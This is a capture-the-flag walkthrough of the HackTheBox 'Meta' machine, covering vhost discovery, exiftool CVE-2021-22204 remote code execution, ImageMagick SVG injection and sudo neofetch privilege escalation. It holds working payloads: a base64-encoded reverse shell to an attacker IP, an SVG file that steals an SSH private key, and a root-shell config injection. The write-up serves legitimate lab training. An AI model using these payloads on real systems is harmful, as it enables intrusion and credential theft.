Meta HackTheBox WalkThrough

Meta HackTheBox banner

This is Meta HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted Meta HackTheBox machine. Before starting let us know something about this machine. It is Linux OS box with IP address and difficulty Medium assigned by its maker.

First of all, connect your PC with HackTheBox VPN and make sure your connectivity with Meta Box by pinging its IP If all goes correct then start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing the services running over different ports and sometimes it helps in vulnerability assessment also. I have used $ nmap for this task and the result is given below:


$ sudo nmap -p- --min-rate=10000 -oN fulltcp.nmap
Full TCP port scan on Meta HackTheBox machine during its walkthrough
$ sudo nmap -p22,80 -sC -sV -oN Script-scan.nmap
Full TCP script scan on Meta HackTheBox machine during its walkthrough

Full port scan with nmap revealed two ports namely 22 and 80 as open. OpenSSH 7.9p1 is running on port 22 and Apache web server is running on port 80. Also, nmap’s default script http-title reveals a virtual host artcorp.htb. Before moving further let us add artcorp.htb host to our hosts file. hosts file is present inside /etc/ directory.

Hosts File After Modification 1

$ cat /etc/hosts
Host file after modification 1 in Meta HackTheBox machine during it walkthrough

We will begin our enumeration from port 80 because port 80 has more attack surface than port 22. Ongoing to URL http://artcorp.htb, found a simple static HTML page and some usernames [Judy, Sarah & Thomas] on this page. Added them to my notes because they can be potential username of this box. Got nothing interesting from this page. Performed directory bruteforcing at http://artcorp.htb but could not find anything interesting.

Artcorp.htb web page

vhost BruteForce

Performed Virtual Host bruteforce at the host artcorp.htb using $ gobuster and wordlist subdomains-top1million-5000.txt and found a new host dev01.artcorp.htb.

$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u artcorp.htb -o vhost.log
Virtual Host bruteforce on Artcorp.htb during the walkthrough of Meta HTB

Let us add dev01.artcorp.htb to out hosts file and see what different site we can get.

Hosts File After Modification 2

$ cat /etc/hosts
Host file after modification 2 in Meta HackTheBox machine during it walkthrough

Ongoing to the URL http://dev01.artcorp.htb/metaview/ found a file upload functionality.

File upload feature in dev01.artcorp.htb found after vhost bruteforce during Meta HTB walkthrough

Uploaded a simple JPEG file just to check the functionality of the application and found that application is executing $ exiftool software in the background which shows the meta data of the uploaded file.

Checking the functionality of Exiftool

This reminded me of a RCE vulnerability which was reported to GitLab, 10 months back. The issue was actually found in $ exiftool, which is an open-source software for reading, writing, and manipulating image, audio, video, and PDF metadata. Check this hackerone report and this blog post by the researcher for more info about this vulnerability. According to this vulnerability, an unauthenticated user can perform remote code execution by passing DjVu file to exiftool. A DjVu file is a compressed image format which contains a scanned document, which may include text, images, or drawings. Check this post for more info about DjVu file format. The vulnerability has been assigned CVE_ID CVE-2021-22204.

There are various GitHub repositories where you can find its working exploit, simply google CVE-2021-22204 GitHub. I have used this one.

There is also its metasploit module available by the name exploit/unix/fileformat/exiftool_djvu_ant_perl_injection. To work this exploit properly you have to base64 encode your reverse shell payload by capturing the msf.jpg image [created by metasploit] through Burpsuite while uploading to the server. For now, I am using the GitHub exploit present at this repo.

Confirming RCE

$ git clone
$ exiftool -config eval.config runme.jpg -eval='system("whoami")'

Upload the runme.jpg file to the URL http://dev01.artcorp.htb/metaview/index.php.  And we found that our uploaded image with $ whoami payload got executed and the current user is www-data.

Creating malicious jpg file using the JPEG_RCE exploit from GitHub during Meta HackTheBox Walkthrough
Running whoami command on Meta HTB during its walkthrough

Let us get reverse shell on our Kali machine so that we can capture user and root flag.

Getting User Shell

Simply go to this URL and fill your tun0 IP & port number and generate a reverse shell one liner. Don’t forget to base64 encode it.

Revere shell Generator

Now update runme.jpg by the following commands and start netcat listener. At last, upload updated runme.jpg file. If all goes correct you will have your reverse shell in your terminal.

$ exiftool -config eval.config runme.jpg -eval='system("echo L2Jpbi9iYXNoIC1pIDU8PiAvZGV2L3RjcC8xMC4xMC4xNy45Ny85MDAxIDA8JjUgMT4mNSAyPiY1 |base64 -d|bash")'
$ nc -nvlp 9001
$ whoami && id
Getting usershell by uploading malicious file using JPEG_RCE exploit in Meta HackTheBox walkthrough
Getting User shell on Netcat Listener in Meta HTB

We have successfully got reverse shell as user www-data. Let us upgrade it to fully qualified Linux shell so that we can run more advanced Linux command through it.

Upgrading Shell

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z #CTRL+Z to background the shell
$ stty raw -echo
$ fg # Plus two times enter
$ export TERM=xterm
$ stty rows 51 columns 173
Upgrading the shell in Meta HTB

We have successfully upgraded the shell. User flag is not accessible to user www-data. It is only readable to users root and thomas. After some enumeration when did not find anything interesting then ran $ pspy [a process monitoring tool] to check whether any file is being executed at regular interval. You can download pspy64 binary from here.

Running Process Monitor

On Kali Machine

$ wget
$ python3 -m http.server

On Meta Machine

$ cd /dev/shm/
$ wget
$ chmod +x pspy64s
$ ./pspy64s
Running Process Monitoring tool pspy on Meta HTB -1


Running Process Monitoring tool pspy on Meta HTB -2


pspy64s found present at location /usr/local/bin/ is being executed at regular interval of 1 min by user thomas [check UID=1000, in above pspy report]. Let us check the content of this file.

$ cat /usr/local/bin/
Content of file found  during meta HTB walkthrough

On checking the content of found that it is executing $ mogrify command to convert each uploaded file to png. Check more about $ mogrify command at this URL. On checking the version of $ mogrify found that the version of ImageMagick suite of which it is part of is 7.0.10-36. After some googling found that ImageMagick 7.0.10-36 is vulnerable to Shell Injection vulnerability. Since $ mogrify is part of ImageMagick suite so it may also be vulnerable.

$ mogrify -Version
Version of Mogrify tool

To exploit this vulnerability, I have simply created a file poc.svg inside the directory /var/www/dev01.artcorp.htb/convert_images/ with the payload

echo $(cat /home/thomas/.ssh/id_rsa | base64)>/dev/shm/info and waited for to get executed by thomas.

$ cd /var/www/dev01.artcorp.htb/convert_images/
$ vi poc.svg
<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa | base64)>/dev/shm/info`;"'>  <read filename="pdf:/etc/passwd"/>  <get width="base-width" height="base-height" />  <resize geometry="400x400" />  <write filename="test.png" />  <svg width="700" height="700" xmlns="" xmlns:xlink="">         <image xlink:href="msl:poc.svg" height="100" width="100"/>  </svg></image>
$ cat poc.svg
Poc.svg file containing malicious payload

We found that info file is created inside directory /dev/shm/ and is base64 encoded. Copy the content of the info file and decode it on your kali machine.

$ cat /dev/shm/info
Content of file info which is created by thomas during Meta HackTheBox WalkThrough

Before base64 decoding don’t forget to remove white spaces & line wrapping from the above file.

Getting User Shell

To get user shell as thomas follow the given steps.

base64 decoding info file and redirecting to id_rsa file
$ cat id_rsa
id_rsa file of user thomas
$ chmod 600 id_rsa
$ ssh -i id_rsa [email protected]
$ whoami && id
Getting user shell in Meta HTB

We have successfully got shell as user thomas. Let us capture user flag.

Capture User Flag

$ cat user.txt
Capturing user flag in Meta HackTheBox during its walkthrough

Privilege Escalation

To escalate the privilege to root we have to first find a Privilege Escalation Vector using which we can perform privilege escalation. We can find PrivEsc vector either manually or using some post exploitation enumeration scripts like,, and there are a lot more. This time I will go with LinPEAS.

Finding PrivEsc Vector

LinPEAS found that user thomas can run command /usr/bin/neofetch \"\" with root privilege. OR we can say he can run the command $ sudo /usr/bin/neofetch \"\" OR $ sudo -u root /usr/bin/neofetch \"\" on the meta box.

Sudo -l command result in Meta HTB

A little background about $ neofetch command. Neofetch is a command-line system information tool written in bash 3.2+. It displays information about your operating system, software and hardware in an aesthetic and visually pleasing way.

$ /usr/bin/neofetch
Result of neofetch command

On further enumeration found that $ neofetch binary requires a config file for its execution and that file is present in users’ home directory. For example, if user thomas executes $ neofetch then it uses the config file inside /home/thomas/ directory. Similarly, if user root executes this file, then it uses config file inside /root/ directory. Execution of $ neofetch with sudo right will use config file of /root/ directory.

Till now I didn’t get any clue for privilege escalation vector. Looking closely into $ sudo -l command’s result, found an environment variable XDG_CONFIG_HOME. Googling it for more information found the below explanation. Check full article here.

XDG_DATA_HOME environment variable   information

According to above explanation if $XDG_CONFIG_HOME variable is not set or empty it will use default config file i.e., /root/.config. But if it is set, we can force it ($ neofetch) to use any other user’s config file. What if we force the $ neofetch to use config file present in thomas‘ home directory i.e., /home/thomas/.config. If we would be able to do so then we can inject our reverse shell code inside config.conf file present in directory /home/thomas/.config/neofetch/. And when we run /usr/bin/neofetch \"\" command with sudo then code inside config.conf file will also be executed with root user privilege. When I followed the same, I got the root shell very easily. So here, our potential PrivEsc Vector is Privilege Escalation through Sudo Right Exploitation. Check HTB boxes with similar privilege escalation vector here & here.

Getting Root Shell

To get root shell follow the given steps.

$ export XDG_CONFIG_HOME="$HOME/.config"
$ echo "/bin/bash" >> /home/thomas/.config/neofetch/config.conf
$ sudo /usr/bin/neofetch \"\"
# whoami && id
Performing Privilege Escalation in Meta HackTheBox machine during its walkthrough

We have successfully got root shell. Let us capture root flag.

Capture Root Flag

# cat /root/root.txt
Capturing root flag in Meta HTB

This was how I rooted to Meta HackTheBox machine. Learnt a lot during this walkthrough. Hope you have also learnt some new things. Thanks for reading this writeup. Share your experience in the comment section. Want to give any suggestion about the writeup feel free to write us at [email protected]. Check out my latest articles at

This Post Has 2 Comments

  1. Executionstyle

    Hey, nice writeup! I rooted this machine by actually bruteforcing XDG envs set to $HOME/.config. So when i got root shell with XDG_CONFIG_HOME i didnt quite get why it was still present after I sudo’ed. Reading your write-up i noticed “env_keep+=XDG_CONFIG_HOME” in sudo -l. Missed that. Now i finally understand why it was XDG_CONFIG_HOME! Thank you!

    1. Deepak Kumar Maurya

      Congrats you have rooted this box in two different ways. That’s why reading writeups help us to learn more ways of rooting the box and moreover it clear our doubts. Glad it helped you.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at